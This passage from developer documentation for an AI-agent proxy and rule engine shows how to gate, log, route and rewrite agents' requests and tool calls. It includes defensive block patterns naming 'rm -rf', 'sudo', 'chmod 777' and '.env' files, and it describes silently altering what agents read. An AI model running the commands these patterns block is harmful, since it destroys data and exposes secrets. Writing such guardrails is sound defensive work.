  if (!shared.pendingApprovals) shared.pendingApprovals = new Map();
  shared.pendingApprovals.set(requestId, req.body);
  
  return res.json({
    status: 'pending_approval',
    requestId,
    message: 'High-stakes operation detected. Awaiting human approval.',
    estimatedWait: '2-10 minutes'
  });
}

// Normal flow for safe operations
const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

return res.json(await response.json());
```

**The transformation:** AI agents can work autonomously 95% of the time. Critical decisions pause for your review. You become the approval layer, not the execution layer.

**Real workflow:** 47 AI agents working across hundreds of containers. Your job? Answer decision requests. "Deploy to production?" "Delete this database?" "Transfer $10,000?" You confirm. They execute.

### 2. Tool Call Interception & Tampering

**The killer feature:** AI agents use tool calls to interact with files, execute commands, etc. You can **intercept and modify** these tool calls before they execute.

**Redirect file operations to sandbox:**

```javascript
// @mode worker

const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

const data = await response.json();

// Intercept tool calls before they execute
if (data.choices[0].message.tool_calls) {
  data.choices[0].message.tool_calls = data.choices[0].message.tool_calls.map(call => {
    // Redirect dangerous file operations to sandbox
    if (call.function.name === 'write_file') {
      const args = JSON.parse(call.function.arguments);
      
      // Force all writes into /sandbox/ directory
      if (!args.path.startsWith('/sandbox/')) {
        args.path = '/sandbox' + args.path;
        call.function.arguments = JSON.stringify(args);
      }
    }
    
    // Add safety checks to delete operations
    if (call.function.name === 'delete_file') {
      const args = JSON.parse(call.function.arguments);
      
      // Prevent deletion of critical files
      if (args.path.match(/config|production|\.env|package\.json/)) {
        // Replace with confirmation tool
        call.function.name = 'confirm_delete';
        call.function.arguments = JSON.stringify({
          ...args,
          warning: 'Critical file deletion requires confirmation'
        });
      }
    }
    
    // Intercept command execution
    if (call.function.name === 'execute_command') {
      const args = JSON.parse(call.function.arguments);
      
      // Block or modify dangerous commands
      if (args.command.match(/rm -rf|sudo|chmod 777/)) {
        call.function.name = 'blocked_command';
        call.function.arguments = JSON.stringify({
          original: args.command,
          reason: 'Dangerous command intercepted'
        });
      }
    }
    
    return call;
  });
}

return res.json(data);
```

**Use cases:**
- AI can code freely, but file writes are automatically sandboxed
- Dangerous operations require explicit confirmation
- Critical files are protected from accidental deletion
- Command injection is prevented

**The power:** AI operates with full freedom, but you've added guardrails that prevent catastrophic mistakes. All done in ~50 lines of code.

### 3. Agent Cascade Orchestration

**The breakthrough:** Because every service is HTTP, you can trigger cascades of agents from your MITM proxy.

**Multi-agent coordination:**

```javascript
// @mode worker

const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

const data = await response.json();
const aiResponse = data.choices[0].message.content;

// Detect when AI wants to delegate work
if (aiResponse.includes('DELEGATE:')) {
  const taskMatch = aiResponse.match(/DELEGATE: (.+)/);
  const delegatedTask = taskMatch[1];
  
  // Cascade to another hoody-agent via HTTP
  const agentResponse = await fetch(
    'https://project-container-workspaces-2.node-us.containers.hoody.icu/api/tasks',
    {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        prompt: delegatedTask,
        auto_execute: true,
        mode: 'code',
        callback_url: 'https://current-container-exec-1.hoody.icu/api/task-complete'
      })
    }
  );
  
  const agentData = await agentResponse.json();
  
  // Modify response to indicate delegation
  data.choices[0].message.content = 
    `Task delegated to Agent-2: ${delegatedTask}\n` +
    `Task ID: ${agentData.taskId}\n` +
    `Status: In progress...`;
}

// Detect when AI needs specialized capabilities
if (aiResponse.includes('ANALYZE_CODE:')) {
  // Trigger code analysis agent
  await fetch('https://code-analyzer-agent.hoody.icu/api/tasks', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      prompt: 'Analyze codebase for security issues',
      report_to: 'https://current-container-exec-1.hoody.icu/api/analysis-report'
    })
  });
}

return res.json(data);
```

**What this enables:**
- **Agent swarms** - One agent spawns/coordinates 10 others
- **Specialized agents** - Route tasks to expert agents (code, security, design)
- **Parallel execution** - Distribute work across multiple agents simultaneously
- **Self-organizing systems** - Agents discover and coordinate with each other

**Real scenario:** You ask Agent A to "build a complete SaaS app". Agent A analyzes, then cascades to:
- Agent B (frontend specialist)
- Agent C (backend specialist)  
- Agent D (database specialist)
- Agent E (security auditor)

All coordinating via HTTP. All reporting back. All orchestrated from one MITM script.

### 4. Request Stalling with Notifications

**Powerful pattern:** Pause AI execution until human reviews and approves.

```javascript
// @mode worker
// @log-level standard

// Initialize shared state
if (!shared.pendingRequests) {
  shared.pendingRequests = new Map();
}

if (req.body.urgent === true) {
  const requestId = crypto.randomUUID();
  
  // Store request
  shared.pendingRequests.set(requestId, {
    request: req.body,
    timestamp: Date.now(),
    status: 'pending'
  });
  
  // Notify human via hoody-notifications
  await fetch('https://your-project-container-n-1.node-us.containers.hoody.icu/api/notify', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      title: '⏸️ AI Awaiting Approval',
      message: req.body.messages[req.body.messages.length - 1].content,
      priority: 'high',
      actions: [
        {
          label: '✅ Approve',
          method: 'POST',
          url: `/api/approve?id=${requestId}`
        },
        {
          label: '❌ Reject',
          method: 'POST',
          url: `/api/reject?id=${requestId}`
        }
      ]
    })
  });
  
  // Poll for approval (or use webhook callback)
  for (let i = 0; i < 300; i++) { // 5 minutes max
    await new Promise(resolve => setTimeout(resolve, 1000)); // Wait 1 second
    
    const request = shared.pendingRequests.get(requestId);
    if (request.status === 'approved') {
      break;
    } else if (request.status === 'rejected') {
      return res.status(403).json({ error: 'Request rejected by human' });
    }
  }
  
  // Timeout if no response
  if (shared.pendingRequests.get(requestId).status === 'pending') {
    return res.status(408).json({ error: 'Approval timeout' });
  }
}

// Proceed with AI request
const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

return res.json(await response.json());
```

**The workflow:**
1. AI agent wants to deploy to production
2. MITM detects high-stakes operation
3. Notification sent to your phone/desktop
4. AI request pauses (stalls)
5. You review and approve/reject
6. AI continues or stops based on your decision

**This is human-in-the-loop at scale.** 47 agents working, you approve the 2-3 critical decisions per hour.

### 5. Tool Call Tampering for Safety

**The most powerful pattern:** Completely replace what AI tools do.

**Example: Reroute all file writes to version control:**

```javascript
// @mode worker

const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

const data = await response.json();

// Intercept and replace tool calls
if (data.choices[0].message.tool_calls) {
  for (const call of data.choices[0].message.tool_calls) {
    // Replace write_file with version-controlled write
    if (call.function.name === 'write_file') {
      const args = JSON.parse(call.function.arguments);
      
      // Create git commit for this change
      await fetch('https://your-project-container-terminal-1.node-us.containers.hoody.icu/api/v1/terminal/execute?terminal_id=1', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          command: `git add ${args.path} && git commit -m "AI: ${args.description || 'auto-save'}"`
        })
      });
      
      // Modify the tool call to include git metadata
      call.function.arguments = JSON.stringify({
        ...args,
        git_tracked: true,
        commit_message: `AI: ${args.description || 'auto-save'}`
      });
    }
    
    // Replace read_file to inject AI-generated documentation
    if (call.function.name === 'read_file') {
      const args = JSON.parse(call.function.arguments);
      
      // Read actual file via hoody-files
      const fileResponse = await fetch(
        `https://your-project-container-files-1.node-us.containers.hoody.icu${args.path}`,
        { method: 'GET' }
      );
      const fileContent = await fileResponse.text();
      
      // Ask AI to add inline documentation
      const docResponse = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
        method: 'POST',
        headers: {
          'Authorization': 'Bearer container-1',
          'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          model: 'anthropic/claude-haiku-4.0',
          messages: [{
            role: 'user',
            content: `Add inline documentation to this code:\n${fileContent}`
          }]
        })
      });
      
      const documented = await docResponse.json();
      
      // Return documented version instead
      call.function.arguments = JSON.stringify({
        ...args,
        enhanced: true,
        content: documented.choices[0].message.content
      });
    }
  }
}

return res.json(data);
```

**What you've done:**
- Every file write is now automatically version controlled
- Every file read is enhanced with AI-generated documentation
- AI sees improved code context automatically
- You have full audit trail of all changes

**The magic:** AI doesn't know you're intercepting. It just works with better data and safer operations.

### 6. Cost Optimization: Intelligent Model Routing

**Save 40-70% by routing to cheaper models automatically:**

```javascript
// @mode worker

const lastMessage = req.body.messages[req.body.messages.length - 1].content;

// Analyze complexity
const wordCount = lastMessage.split(/\s+/).length;
const hasCode = /```|function|class|import|async|await/.test(lastMessage);
const hasMultiStep = /step|then|after|finally|workflow/.test(lastMessage);
const isDeployment = /deploy|production|release/.test(lastMessage);

// Intelligent model selection
let selectedModel = req.body.model;

if (isDeployment) {
  // Critical operations get best model
  selectedModel = 'anthropic/claude-opus-4.1';
} else if (wordCount < 50 && !hasCode && !hasMultiStep) {
  // Simple question → cheapest model
  selectedModel = 'anthropic/claude-haiku-4.0';  // $0.25/M tokens
} else if (hasCode || hasMultiStep) {
  // Complex reasoning → balanced model
  selectedModel = 'anthropic/claude-sonnet-4.5';  // $3.00/M tokens
} else {
  // General tasks → fast model
  selectedModel = 'openai/gpt-4o';  // $2.50/M tokens
}

const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    ...req.body,
    model: selectedModel  // Override with optimal model
  })
});

return res.json(await response.json());
```

**Savings:** 40-70% by automatically using cheaper models when appropriate. AI quality doesn't suffer—simple tasks don't need expensive models.

### 7. Context Injection from Knowledge Base

**Auto-enhance AI with your company knowledge:**

```javascript
// @mode worker

// Modules auto-installed on first require
const { createClient } = require('@supabase/supabase-js');

const supabase = createClient(
  process.env.SUPABASE_URL,
  process.env.SUPABASE_KEY
);

const userPrompt = req.body.messages[req.body.messages.length - 1].content;

// Semantic search in your knowledge base
const { data: context } = await supabase
  .from('documentation')
  .select('content, source, relevance')
  .textSearch('content', userPrompt)
  .order('relevance', { ascending: false })
  .limit(3);

// Inject context into system prompt
const enhancedMessages = [
  {
    role: 'system',
    content: `You have access to our internal knowledge base. Relevant context for this request:\n\n${
      context.map(c => `**${c.source}**:\n${c.content}`).join('\n\n')
    }\n\nUse this context to provide accurate, company-specific answers.`
  },
  ...req.body.messages
];

const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    ...req.body,
    messages: enhancedMessages
  })
});

return res.json(await response.json());
```

**The result:** AI always has access to your latest documentation, internal wikis, company policies, and codebase context—automatically. No manual RAG setup. Just HTTP interception.

### 8. Response Caching for Cost Reduction

**Eliminate duplicate AI calls:**

```javascript
// @mode worker

const { createClient } = require('@supabase/supabase-js');
const supabase = createClient(process.env.SUPABASE_URL, process.env.SUPABASE_KEY);

// Create cache key from request
const cacheKey = JSON.stringify({
  model: req.body.model,
  messages: req.body.messages
});

// Check cache (using hoody-sqlite for persistence)
const { data: cached } = await supabase
  .from('ai_cache')
  .select('response')
  .eq('cache_key', cacheKey)
  .single();

if (cached) {
  return res.json({
    ...cached.response,
    cached: true,
    savings: '100% (from cache)'
  });
}

// Call AI
const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

const data = await response.json();

// Store in cache
await supabase
  .from('ai_cache')
  .insert({
    cache_key: cacheKey,
    response: data,
    created_at: new Date().toISOString()
  });

return res.json(data);
```

**Savings:** 100% cost reduction on cache hits. Perfect for:
- Repeated questions (documentation, support)
- Code reviews (similar code patterns)
- Content generation (similar prompts)

### 9. Prompt Compression

**Reduce token usage 20-40%:**

```javascript
// @mode worker

function compressPrompt(text) {
  return text
    .replace(/\s+/g, ' ')  // Normalize whitespace
    .replace(/\b(the|a|an)\b/gi, '')  // Remove articles
    .replace(/\b(please|kindly|could you)\b/gi, '')  // Remove pleasantries
    .trim();
}

// Compress verbose prompts
const compressedMessages = req.body.messages.map(msg => ({
  ...msg,
  content: compressPrompt(msg.content)
}));

const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    ...req.body,
    messages: compressedMessages
  })
});

return res.json(await response.json());
```

**Savings:** 20-40% on verbose inputs without losing semantic meaning.

---

## Advanced Patterns

### Complete AI Request Logging

**Build audit trails automatically:**

```javascript
// @mode worker

const { createClient } = require('@supabase/supabase-js');
const supabase = createClient(process.env.SUPABASE_URL, process.env.SUPABASE_KEY);

const requestId = crypto.randomUUID();
const startTime = Date.now();

// Log request
await supabase.from('ai_logs').insert({
  request_id: requestId,
  container: metadata.subdomain,
  model: req.body.model,
  prompt: req.body.messages[req.body.messages.length - 1].content,
  timestamp: new Date().toISOString()
});

// Make AI request
const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

const data = await response.json();
const duration = Date.now() - startTime;

// Log response
await supabase.from('ai_logs').update({
  response: data.choices[0].message.content,
  tokens_used: data.usage?.total_tokens,
  duration_ms: duration,
  cost: (data.usage?.total_tokens || 0) * 0.000003  // Example cost calculation
}).eq('request_id', requestId);

return res.json(data);
```

**You now have:**
- Complete audit trail of all AI interactions
- Token usage per container/project
- Cost tracking automatically
- Performance metrics
- Compliance documentation

### Multi-Provider Failover

**Use Hoody AI, fallback to your own keys:**

```javascript
// @mode worker

// Try Hoody AI first
let response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

// Fallback to direct OpenAI if Hoody AI fails
if (!response.ok && response.status >= 500) {
  response = await fetch('https://api.openai.com/v1/chat/completions', {
    method: 'POST',
    headers: {
      'Authorization': `Bearer ${process.env.OPENAI_KEY}`,
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(req.body)
  });
}

// Fallback to Anthropic if OpenAI fails
if (!response.ok && response.status >= 500) {
  response = await fetch('https://api.anthropic.com/v1/messages', {
    method: 'POST',
    headers: {
      'x-api-key': process.env.ANTHROPIC_KEY,
      'anthropic-version': '2023-06-01',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      model: req.body.model.replace('anthropic/', ''),
      max_tokens: req.body.max_tokens || 1024,
      messages: req.body.messages
    })
  });
}

return res.json(await response.json());
```

**Resilience:** Automatic failover across providers. Zero downtime.

### Response Enhancement

**AI generates code, you automatically add explanations:**

```javascript
// @mode worker

const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

const data = await response.json();
let content = data.choices[0].message.content;

// Detect code blocks
if (content.includes('```')) {
  // Ask another AI to explain the code
  const explanation = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer container-1',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      model: 'anthropic/claude-haiku-4.0',  // Cheap model for simple task
      messages: [{
        role: 'user',
        content: `Explain this code in simple terms:\n${content}`
      }]
    })
  });
  
  const explainData = await explanation.json();
  
  // Append explanation
  content += '\n\n**How this works:**\n' + explainData.choices[0].message.content;
  data.choices[0].message.content = content;
}

return data;
```

### 10. Real-Time Alerts to Your Devices

**Cool integration:** Get instant notifications on your phone/desktop about AI activity using [`hoody-notifications`](/kit/notifications/):

```javascript
// @mode worker

const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

const data = await response.json();

// Detect significant events
const aiResponse = data.choices[0].message.content;
const isCodeGeneration = aiResponse.includes('```') && aiResponse.length > 500;
const isError = data.error || data.choices[0].finish_reason === 'error';

if (isCodeGeneration) {
  // Notify about large code generation
  await fetch('https://your-project-container-n-1.node-us.containers.hoody.icu/api/notify', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      title: '🤖 AI Generated Code',
      message: `AI just wrote ${aiResponse.length} characters of code`,
      priority: 'normal',
      icon: 'code'
    })
  });
}

if (isError) {
  // Alert about AI errors
  await fetch('https://your-project-container-n-1.node-us.containers.hoody.icu/api/notify', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      title: '⚠️ AI Request Failed',
      message: data.error?.message || 'Unknown error',
      priority: 'high',
      icon: 'warning'
    })
  });
}

// Track token usage and alert on threshold
if (data.usage?.total_tokens > 50000) {
  await fetch('https://your-project-container-n-1.node-us.containers.hoody.icu/api/notify', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      title: '💰 High Token Usage',
      message: `Request used ${data.usage.total_tokens} tokens`,
      priority: 'normal'
    })
  });
}

return res.json(data);
```

**Real-world scenarios:**
- Get notified when AI generates large amounts of code
- Alert on AI errors or rate limits
- Track high token usage in real-time
- Monitor AI agent activity from your phone
- Know immediately when critical operations complete

**The power:** Your entire AI infrastructure sends alerts to your real devices. Stay informed without actively monitoring.

### 11. Complete Prompt History with SQLite

**Store all AI interactions in a database** using Bun's built-in SQLite and [`/hoody/databases/`](/foundation/storage/sqlite-drive/) for automatic safety:

```javascript
// @mode worker

// Use Bun's built-in sqlite3 (no npm install needed with Bun)
const { Database } = require('bun:sqlite');

// Database in /hoody/databases/ = automatic concurrent-write safety
// Thanks to SQLite Drive FUSE mount - prevents corruption from concurrent writes
const db = new Database('/hoody/databases/ai-history.db');

// Create table on first run
if (!shared.initialized) {
  db.run(`
    CREATE TABLE IF NOT EXISTS prompts (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      timestamp TEXT NOT NULL,
      container TEXT,
      model TEXT,
      prompt TEXT,
      response TEXT,
      tokens INTEGER,
      cost REAL,
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP
    )
  `);
  
  db.run('CREATE INDEX IF NOT EXISTS idx_timestamp ON prompts(timestamp DESC)');
  db.run('CREATE INDEX IF NOT EXISTS idx_model ON prompts(model)');
  db.run('CREATE INDEX IF NOT EXISTS idx_container ON prompts(container)');
  
  shared.initialized = true;
}

// Make AI request
const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer container-1',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

const data = await response.json();

// Store complete interaction in database (concurrent-write safe)
db.run(`
  INSERT INTO prompts (timestamp, container, model, prompt, response, tokens, cost)
  VALUES (?, ?, ?, ?, ?, ?, ?)
`, [
  new Date().toISOString(),
  metadata.subdomain || 'default',
  req.body.model,
  req.body.messages[req.body.messages.length - 1].content,
  data.choices[0].message.content,
  data.usage?.total_tokens || 0,
  (data.usage?.total_tokens || 0) * 0.000003  // Example cost calc
]);

return res.json(data);
```

**Why `/hoody/databases/` is critical here:**
- **Multiple containers** can log simultaneously without corruption
- **AI agents** making parallel requests all write safely
- **FUSE mount** coordinates writes automatically
- **Zero locking errors** even under heavy concurrent load

See: [SQLite Drive](/foundation/storage/sqlite-drive/) for full details on concurrent-write safety.

**Query your AI history:**
```bash
# View recent prompts
bun -e 'const db = require("bun:sqlite").Database("/hoody/databases/ai-history.db"); 
  console.log(db.query("SELECT model, prompt, tokens FROM prompts ORDER BY created_at DESC LIMIT 10").all())'

# Total tokens used per model
bun -e 'const db = require("bun:sqlite").Database("/hoody/databases/ai-history.db");
  console.log(db.query("SELECT model, SUM(tokens) as total FROM prompts GROUP BY model").all())'

# Most expensive queries
bun -e 'const db = require("bun:sqlite").Database("/hoody/databases/ai-history.db");
  console.log(db.query("SELECT prompt, cost FROM prompts ORDER BY cost DESC LIMIT 5").all())'

# Usage by container
bun -e 'const db = require("bun:sqlite").Database("/hoody/databases/ai-history.db");
  console.log(db.query("SELECT container, COUNT(*) as requests, SUM(tokens) as tokens FROM prompts GROUP BY container").all())'
```

**Use cases:**
- **Audit trails** - Complete record of all AI interactions
- **Cost analytics** - Track spending by model, container, time period
- **Pattern analysis** - Identify frequently repeated prompts for caching
- **Debugging** - Review exact prompts/responses when issues occur
- **Compliance** - Maintain detailed logs for regulatory requirements
- **RAG data** - Use your prompt history as training data for fine-tuning

---

## Using Any AI Gateway

**Critical freedom:** It's YOUR infrastructure. Route to whoever you want.

```javascript
// @mode worker

// Route to OpenAI directly
const response = await fetch('https://api.openai.com/v1/chat/completions', {
  method: 'POST',
  headers: {
    'Authorization': `Bearer ${process.env.OPENAI_KEY}`,
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(req.body)
});

return res.json(await response.json());

// Or use any other provider:
// - Anthropic directly
// - Together AI
// - Your own self-hosted models (Ollama, LM Studio)
// - Multiple providers with custom routing logic
```

**You decide:**
- Which provider for which tasks
- When to use Hoody AI vs your own keys
- How to distribute load
- Where costs should go

**The only rule:** It's HTTP. Route however you want.

---

## Use Cases

### 1. Safe Vibe Coding

Let AI generate entire applications, but with guardrails:

```javascript
// Sandbox all AI file operations
if (call.function.name === 'write_file') {
  args.path = '/sandbox' + args.path;
}

// Block dangerous commands
if (call.function.name === 'execute_command') {
  if (args.command.match(/rm -rf|sudo|chmod 777/)) {
    return blocked();
  }
}
```

### 2. Multi-Tenant AI SaaS

Each customer gets MITM'd AI access:

```javascript
const customer = getCustomerFromContainer(metadata.subdomain);

// Customer-specific quota enforcement
if (customer.tokensUsedToday > customer.quota) {
  return res.status(429).json({ error: 'Quota exceeded' });
}

// Customer-specific model restrictions
if (!customer.allowedModels.includes(req.body.model)) {
  req.body.model = customer.defaultModel;
}
```

### 3. Development → Production Pipeline

Different MITM rules per environment:

```javascript
// Development: Log everything, use cheap models
if (metadata.execId === 'dev') {
  console.log('Request:', req.body);
  req.body.model = 'anthropic/claude-haiku-4.0';
}

// Production: Route to best model, alert on errors
if (metadata.execId === 'prod') {
  req.body.model = 'anthropic/claude-opus-4.1';
  // monitorForErrors() implementation
}
```

---

## Best Practices

### Layer Your MITM Logic

**Don't try to do everything in one script.** Chain multiple MITM proxies:

```
App → MITM Layer 1 (logging) → MITM Layer 2 (caching) → MITM Layer 3 (model routing) → Hoody AI
```

Each layer does one thing well. Composable intelligence.

### Use hoody-sqlite for State

Store caches, approval requests, logs in [`hoody-sqlite`](/kit/sqlite/):

```javascript
// Persistent cache across restarts
await fetch('https://your-project-container-sqlite-1.node-us.containers.hoody.icu/api/v1/sqlite/kv/batch/set', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    items: [{ key: cacheKey, value: aiResponse }]
  })
});
```

### Monitor MITM Performance

**Your MITM proxy adds latency.** Measure it:

```javascript
const start = Date.now();
const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', { /* ... */ });
const latency = Date.now() - start;

if (latency > 1000) {
  console.warn('MITM proxy slow:', latency, 'ms');
}
```

### Start Simple, Add Complexity

**Day 1:** Just log requests  
**Day 2:** Add caching  
**Day 3:** Add model routing  
**Day 4:** Add human approval for high-stakes  
**Day 5:** Add agent cascade

Build incrementally. Each layer adds value.

---

## Troubleshooting

### MITM Proxy Not Being Called

**Problem:** Requests bypass your proxy

**Solution:** Ensure apps point to your hoody-exec endpoint:
```
https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1
NOT: https://ai.hoody.icu/api/v1
```

### Tool Calls Not Being Intercepted

**Problem:** Modifications to tool_calls don't take effect

**Solution:** Return the modified data BEFORE the tool executes:
```javascript
// ✅ Correct: Modify in response, before tool execution
data.choices[0].message.tool_calls = modified;
return res.json(data);

// ❌ Wrong: Trying to modify after execution
```

### Response Caching Issues

**Problem:** Cached responses are stale

**Solution:** Add cache invalidation:
```javascript
const cacheKey = `${model}:${JSON.stringify(messages)}:${Math.floor(Date.now() / 3600000)}`;
// Key changes every hour, auto-invalidates
```

### Human Approval Timeout

**Problem:** Stalled requests timeout before human responds

**Solution:** Increase timeout or implement webhook callback:
```javascript
// Webhook approach (better):
// 1. Store request
// 2. Send notification with callback URL
// 3. Return immediately with "pending" status
// 4. Human approves via webhook
// 5. Agent polls or receives event
```

---

## Built-In Rule Engine: Zero-Code MITM

**You don't have to write a proxy to intercept AI.** The hoody-agent (`hoody-workspaces`) ships with a declarative rule engine that lets you observe, modify, and control every AI interaction — without writing a single line of JavaScript.

The hoody-exec approach above is powerful when you need full programmatic control. But most MITM use cases — prompt guardrails, cost tracking, safety alerts, context injection — follow a pattern. Define an event, specify a filter, pick an action. That pattern is now a first-class JSON configuration.

**The rule engine runs inside hoody-agent itself.** It hooks directly into the session lifecycle. No proxy. No URL change. No latency. Rules fire at the exact moment an event occurs — synchronously for in-flight modifications, asynchronously for notifications and logging.

---

### Event-Driven Architecture

Every AI interaction passes through a pipeline of **7 event types**, split into two categories:

**Async events** — fire after the fact, cannot modify anything:

| Event | When It Fires |
|-------|---------------|
| `session.created` | A new AI session starts |
| `session.idle` | Session transitions from busy to idle (task complete) |
| `session.error` | Session encounters an error |

**Sync events** — fire in real-time, can modify in-flight data:

| Event | When It Fires |
|-------|---------------|
| `chat.message` | A message is sent or received |
| `tool.execute.before` | Right before a tool executes (bash, write, read, etc.) |
| `tool.execute.after` | Right after a tool finishes executing |
| `chat.system.transform` | System prompt is being assembled (you can rewrite it) |

This is not a simplified abstraction. These hooks run at the same level as the AI engine itself. When a `chat.system.transform` rule appends to the system prompt, that modification is what the LLM actually sees. When a `tool.execute.before` rule fires, the tool has not executed yet — you can alert, log, or inject context before it does.

---

### Five Action Types

Each rule triggers exactly one action:

| Action | What It Does |
|--------|-------------|
| `shell` | Execute a shell command with full MITM context as environment variables (`$MITM_SESSION_ID`, `$MITM_TOOL_NAME`, `$MITM_TOOL_INPUT`, etc.) |
| `webhook` | Send an HTTP POST/GET to any URL with structured event data (session, tool, tags, timestamp) |
| `notification` | Push a notification to the session — visible in hoody-agent's UI, forwardable to phone/watch/browser via hoody-notifications |
| `message` | Inject a message into the AI session (the agent sees it as if the user said it) |
| `prompt-inject` | Modify the system prompt or user message — prepend or append content before the LLM processes it |

Shell actions receive the full context as environment variables: `MITM_SESSION_ID`, `MITM_SESSION_TITLE`, `MITM_TAGS`, `MITM_EVENT`, `MITM_DIRECTORY`, `MITM_PROJECT_ID`, `MITM_TOOL_NAME`, `MITM_TOOL_INPUT`, `MITM_TOOL_OUTPUT`, `MITM_MESSAGE_ROLE`, `MITM_MESSAGE_CONTENT`, `MITM_ERROR_MESSAGE`. Your script can read any of them.

Webhook actions automatically serialize the event context as JSON: `{ event, sessionID, sessionTitle, tags, directory, timestamp, toolName, messageRole }`. Point it at Slack, PagerDuty, your own API — anything that accepts HTTP.

---

### Per-Rule Filtering

Rules don't have to fire on everything. Each rule can be scoped with precision:

| Filter | What It Does |
|--------|-------------|
| **Tags** | Only fire for sessions with specific tags (e.g., `prod`, `dev`, `experimental`) |
| **Tool name** | Only fire for a specific tool (`bash`, `write`, `read`, `glob`, etc.) |
| **Role** | Only fire for `user` or `assistant` messages |
| **Content match** | Regex pattern tested against message content (e.g., `deploy.*prod`) |
| **Cooldown** | Minimum milliseconds between firings per session — prevents rapid re-triggering |
| **Enabled** | Toggle rules on/off without deleting them |

Tags are set per-session. When you create a session in hoody-agent's UI or via the API, you assign tags like `prod`, `dev`, or `api-mode`. Rules filter against those tags. A rule with `tags: ["prod"]` never fires on a `dev` session. A rule with no tags fires on everything.

---

### Configuration

Rules live under the `mitm` key in your `hoody.json`, `hoody.jsonc`, or `.hoody.json` config file (any config file hoody-agent reads). You can also manage them through the **Settings > MITM Rules** panel in hoody-agent's web UI — add, edit, toggle, and test rules visually.

The schema is straightforward:

```json
{
  "mitm": {
    "tags": [
      { "id": "prod", "label": "Production", "color": "red" },
      { "id": "dev", "label": "Development", "color": "blue" },
      { "id": "api-mode", "label": "API Mode", "color": "purple" }
    ],
    "rules": [
      {
        "id": "rule-1",
        "name": "My Rule",
        "enabled": true,
        "description": "What this rule does",
        "trigger": {
          "event": "chat.message",
          "tags": ["prod"],
          "toolName": "bash",
          "role": "user",
          "contentMatch": "deploy.*prod"
        },
        "action": {
          "type": "webhook",
          "url": "https://hooks.slack.com/...",
          "method": "POST"
        },
        "cooldownMs": 5000
      }
    ]
  }
}
```

Every field in `trigger` except `event` is optional. An empty `tags` array means "all sessions." An omitted `toolName` means "all tools." You layer filters to narrow scope as much or as little as you need.

---

### Real-World Examples

These are copy-paste ready. Drop them into your `mitm.rules` array and they work.

#### 1. Verify Every Prompt Before It Runs

A safety guardrail that appends a critical instruction to every system prompt — but only for production sessions. The LLM sees this instruction on every single request.


```json
{
  "id": "safety-guardrail",
  "name": "Production safety guardrail",
  "enabled": true,
  "description": "Prevent destructive commands in production sessions",
  "trigger": {
    "event": "chat.system.transform",
    "tags": ["prod"]
  },
  "action": {
    "type": "prompt-inject",
